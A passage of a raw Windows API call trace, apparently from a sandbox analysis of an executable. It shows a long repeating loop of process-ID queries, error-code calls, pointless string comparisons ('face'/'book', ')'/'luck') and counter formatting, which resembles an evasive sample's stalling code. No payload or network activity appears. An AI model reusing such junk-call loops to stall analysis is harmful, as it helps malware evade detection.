(lpString1="face", lpString2="book") returned 1 [0134.465] GetLastError () returned 0x12 [0134.465] GetLastError () returned 0x12 [0134.465] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F456P") returned 6 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] lstrlenA (lpString="just string") returned 11 [0134.465] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.465] GetLastError () returned 0x12 [0134.465] GetLastError () returned 0x12 [0134.465] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcess () returned 0xffffffff [0134.465] GetLastError () returned 0x12 [0134.465] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F490P") returned 6 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcess () returned 0xffffffff [0134.465] GetLastError () returned 0x12 [0134.465] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F491P") returned 6 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcessId () returned 0x79c [0134.466] GetLastError () returned 0x12 [0134.466] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F492P") returned 6 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] lstrlenA (lpString="just string") returned 11 [0134.466] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.466] GetLastError () returned 0x12 [0134.466] GetCurrentProcess () returned 0xffffffff [0134.466] GetLastError () returned 0x12 [0134.466] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F4CDP") returned 6 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetLastError () returned 0x12 [0134.466] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F4CEP") returned 6 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] lstrlenA (lpString="just string") returned 11 [0134.466] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.466] GetLastError () returned 0x12 [0134.466] GetLastError () returned 0x12 [0134.466] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcess () returned 0xffffffff [0134.466] GetLastError () returned 0x12 [0134.466] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F512P") returned 6 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcess () returned 0xffffffff [0134.466] GetLastError () returned 0x12 [0134.466] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F513P") returned 6 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetLastError () returned 0x12 [0134.466] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F514P") returned 6 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] lstrlenA (lpString="just string") returned 11 [0134.466] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.466] GetLastError () returned 0x12 [0134.466] GetLastError () returned 0x12 [0134.466] GetCurrentProcessId () returned 0x79c [0134.466] lstrlenA (lpString="just string") returned 11 [0134.466] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.466] GetLastError () returned 0x12 [0134.466] GetLastError () returned 0x12 [0134.466] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcess () returned 0xffffffff [0134.466] GetLastError () returned 0x12 [0134.466] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F5EEP") returned 6 [0134.466] SetLastError (dwErrCode=0x12) [0134.466] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcess () returned 0xffffffff [0134.467] GetLastError () returned 0x12 [0134.467] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F5EFP") returned 6 [0134.467] SetLastError (dwErrCode=0x12) [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetLastError () returned 0x12 [0134.467] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F5F0P") returned 6 [0134.467] SetLastError (dwErrCode=0x12) [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] lstrlenA (lpString="just string") returned 11 [0134.467] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.467] GetLastError () returned 0x12 [0134.467] GetLastError () returned 0x12 [0134.467] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F60EP") returned 6 [0134.467] SetLastError (dwErrCode=0x12) [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] lstrlenA (lpString="just string") returned 11 [0134.467] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.467] GetLastError () returned 0x12 [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] lstrlenA (lpString="just string") returned 11 [0134.467] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.467] GetLastError () returned 0x12 [0134.467] GetLastError () returned 0x12 [0134.467] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F672P") returned 6 [0134.467] SetLastError (dwErrCode=0x12) [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] lstrlenA (lpString="just string") returned 11 [0134.467] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.467] GetLastError () returned 0x12 [0134.467] GetCurrentProcess () returned 0xffffffff [0134.467] GetLastError () returned 0x12 [0134.467] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F685P") returned 6 [0134.467] SetLastError (dwErrCode=0x12) [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetLastError () returned 0x12 [0134.467] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F686P") returned 6 [0134.467] SetLastError (dwErrCode=0x12) [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] lstrlenA (lpString="just string") returned 11 [0134.467] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.467] GetLastError () returned 0x12 [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] lstrlenA (lpString="just string") returned 11 [0134.467] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.467] GetLastError () returned 0x12 [0134.467] GetCurrentProcess () returned 0xffffffff [0134.467] GetLastError () returned 0x12 [0134.467] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F6D5P") returned 6 [0134.467] SetLastError (dwErrCode=0x12) [0134.467] GetCurrentProcessId () returned 0x79c [0134.467] GetLastError () returned 0x12 [0134.468] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F6D6P") returned 6 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] lstrlenA (lpString="just string") returned 11 [0134.468] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.468] GetLastError () returned 0x12 [0134.468] GetLastError () returned 0x12 [0134.468] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcess () returned 0xffffffff [0134.468] GetLastError () returned 0x12 [0134.468] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F6F2P") returned 6 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcess () returned 0xffffffff [0134.468] GetLastError () returned 0x12 [0134.468] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F6F3P") returned 6 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetLastError () returned 0x12 [0134.468] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F6F4P") returned 6 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] lstrlenA (lpString="just string") returned 11 [0134.468] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.468] GetLastError () returned 0x12 [0134.468] GetLastError () returned 0x12 [0134.468] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F730P") returned 6 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] lstrlenA (lpString="just string") returned 11 [0134.468] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.468] GetLastError () returned 0x12 [0134.468] GetLastError () returned 0x12 [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] lstrlenA (lpString="just string") returned 11 [0134.468] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.468] GetLastError () returned 0x12 [0134.468] GetCurrentProcess () returned 0xffffffff [0134.468] GetLastError () returned 0x12 [0134.468] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F7C5P") returned 6 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetLastError () returned 0x12 [0134.468] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F7C6P") returned 6 [0134.468] SetLastError (dwErrCode=0x12) [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] GetCurrentProcessId () returned 0x79c [0134.468] lstrlenA (lpString="just string") returned 11 [0134.468] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.469] GetLastError () returned 0x12 [0134.469] GetLastError () returned 0x12 [0134.469] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F802P") returned 6 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] lstrlenA (lpString="just string") returned 11 [0134.469] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.469] GetLastError () returned 0x12 [0134.469] GetLastError () returned 0x12 [0134.469] GetLastError () returned 0x12 [0134.469] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcess () returned 0xffffffff [0134.469] GetLastError () returned 0x12 [0134.469] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F83CP") returned 6 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcess () returned 0xffffffff [0134.469] GetLastError () returned 0x12 [0134.469] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F83DP") returned 6 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetLastError () returned 0x12 [0134.469] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F83EP") returned 6 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] lstrlenA (lpString="just string") returned 11 [0134.469] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.469] GetLastError () returned 0x12 [0134.469] GetLastError () returned 0x12 [0134.469] GetLastError () returned 0x12 [0134.469] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F866P") returned 6 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] lstrlenA (lpString="just string") returned 11 [0134.469] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.469] GetLastError () returned 0x12 [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] lstrlenA (lpString="just string") returned 11 [0134.469] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.469] GetLastError () returned 0x12 [0134.469] GetCurrentProcess () returned 0xffffffff [0134.469] GetLastError () returned 0x12 [0134.469] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F8D3P") returned 6 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetLastError () returned 0x12 [0134.469] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F8D4P") returned 6 [0134.469] SetLastError (dwErrCode=0x12) [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] GetCurrentProcessId () returned 0x79c [0134.469] lstrlenA (lpString="just string") returned 11 [0134.470] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.470] GetLastError () returned 0x12 [0134.470] GetLastError () returned 0x12 [0134.470] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcess () returned 0xffffffff [0134.470] GetLastError () returned 0x12 [0134.470] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F918P") returned 6 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcess () returned 0xffffffff [0134.470] GetLastError () returned 0x12 [0134.470] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F919P") returned 6 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetLastError () returned 0x12 [0134.470] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F91AP") returned 6 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] lstrlenA (lpString="just string") returned 11 [0134.470] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.470] GetLastError () returned 0x12 [0134.470] GetLastError () returned 0x12 [0134.470] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcess () returned 0xffffffff [0134.470] GetLastError () returned 0x12 [0134.470] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F954P") returned 6 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcess () returned 0xffffffff [0134.470] GetLastError () returned 0x12 [0134.470] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F955P") returned 6 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetLastError () returned 0x12 [0134.470] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F956P") returned 6 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] GetCurrentProcessId () returned 0x79c [0134.470] lstrlenA (lpString="just string") returned 11 [0134.470] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.470] GetLastError () returned 0x12 [0134.470] GetCurrentProcess () returned 0xffffffff [0134.470] GetLastError () returned 0x12 [0134.470] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F99BP") returned 6 [0134.470] SetLastError (dwErrCode=0x12) [0134.470] GetCurrentProcessId () returned 0x79c [0134.471] GetLastError () returned 0x12 [0134.471] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F99CP") returned 6 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] lstrlenA (lpString="just string") returned 11 [0134.471] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.471] GetLastError () returned 0x12 [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] lstrlenA (lpString="just string") returned 11 [0134.471] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.471] GetLastError () returned 0x12 [0134.471] GetLastError () returned 0x12 [0134.471] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcess () returned 0xffffffff [0134.471] GetLastError () returned 0x12 [0134.471] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA1CP") returned 6 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcess () returned 0xffffffff [0134.471] GetLastError () returned 0x12 [0134.471] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA1DP") returned 6 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetLastError () returned 0x12 [0134.471] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA1EP") returned 6 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] lstrlenA (lpString="just string") returned 11 [0134.471] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.471] GetLastError () returned 0x12 [0134.471] GetLastError () returned 0x12 [0134.471] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcess () returned 0xffffffff [0134.471] GetLastError () returned 0x12 [0134.471] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA3AP") returned 6 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcess () returned 0xffffffff [0134.471] GetLastError () returned 0x12 [0134.471] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA3BP") returned 6 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetLastError () returned 0x12 [0134.471] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA3CP") returned 6 [0134.471] SetLastError (dwErrCode=0x12) [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] GetCurrentProcessId () returned 0x79c [0134.471] lstrlenA (lpString="just string") returned 11 [0134.472] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.472] GetLastError () returned 0x12 [0134.472] GetLastError () returned 0x12 [0134.472] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA6EP") returned 6 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] lstrlenA (lpString="just string") returned 11 [0134.472] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.472] GetLastError () returned 0x12 [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] lstrlenA (lpString="just string") returned 11 [0134.472] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.472] GetLastError () returned 0x12 [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] lstrlenA (lpString="just string") returned 11 [0134.472] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.472] GetLastError () returned 0x12 [0134.472] GetLastError () returned 0x12 [0134.472] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcess () returned 0xffffffff [0134.472] GetLastError () returned 0x12 [0134.472] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA9EP") returned 6 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcess () returned 0xffffffff [0134.472] GetLastError () returned 0x12 [0134.472] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FA9FP") returned 6 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetLastError () returned 0x12 [0134.472] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FAA0P") returned 6 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] lstrlenA (lpString="just string") returned 11 [0134.472] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.472] GetLastError () returned 0x12 [0134.472] GetLastError () returned 0x12 [0134.472] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcess () returned 0xffffffff [0134.472] GetLastError () returned 0x12 [0134.472] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FABCP") returned 6 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetCurrentProcess () returned 0xffffffff [0134.472] GetLastError () returned 0x12 [0134.472] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FABDP") returned 6 [0134.472] SetLastError (dwErrCode=0x12) [0134.472] GetCurrentProcessId () returned 0x79c [0134.472] GetLastError () returned 0x12 [0134.472] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FABEP") returned 6 [0134.472] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] lstrlenA (lpString="just string") returned 11 [0134.473] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.473] GetLastError () returned 0x12 [0134.473] GetLastError () returned 0x12 [0134.473] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcess () returned 0xffffffff [0134.473] GetLastError () returned 0x12 [0134.473] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB02P") returned 6 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcess () returned 0xffffffff [0134.473] GetLastError () returned 0x12 [0134.473] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB03P") returned 6 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetLastError () returned 0x12 [0134.473] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB04P") returned 6 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] lstrlenA (lpString="just string") returned 11 [0134.473] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.473] GetLastError () returned 0x12 [0134.473] GetLastError () returned 0x12 [0134.473] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcess () returned 0xffffffff [0134.473] GetLastError () returned 0x12 [0134.473] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB0CP") returned 6 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcess () returned 0xffffffff [0134.473] GetLastError () returned 0x12 [0134.473] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB0DP") returned 6 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetLastError () returned 0x12 [0134.473] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB0EP") returned 6 [0134.473] SetLastError (dwErrCode=0x12) [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] lstrlenA (lpString="just string") returned 11 [0134.473] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.473] GetLastError () returned 0x12 [0134.473] GetCurrentProcessId () returned 0x79c [0134.473] lstrlenA (lpString="just string") returned 11 [0134.473] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.473] GetLastError () returned 0x12 [0134.473] GetCurrentProcess () returned 0xffffffff [0134.473] GetLastError () returned 0x12 [0134.473] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB35P") returned 6 [0134.473] SetLastError (dwErrCode=0x12) [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetLastError () returned 0x12 [0134.474] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB36P") returned 6 [0134.474] SetLastError (dwErrCode=0x12) [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] GetLastError () returned 0x12 [0134.474] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.474] SetLastError (dwErrCode=0x12) [0134.474] GetCurrentProcess () returned 0xffffffff [0134.474] GetLastError () returned 0x12 [0134.474] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB52P") returned 6 [0134.474] SetLastError (dwErrCode=0x12) [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcess () returned 0xffffffff [0134.474] GetLastError () returned 0x12 [0134.474] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB53P") returned 6 [0134.474] SetLastError (dwErrCode=0x12) [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetLastError () returned 0x12 [0134.474] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FB54P") returned 6 [0134.474] SetLastError (dwErrCode=0x12) [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] 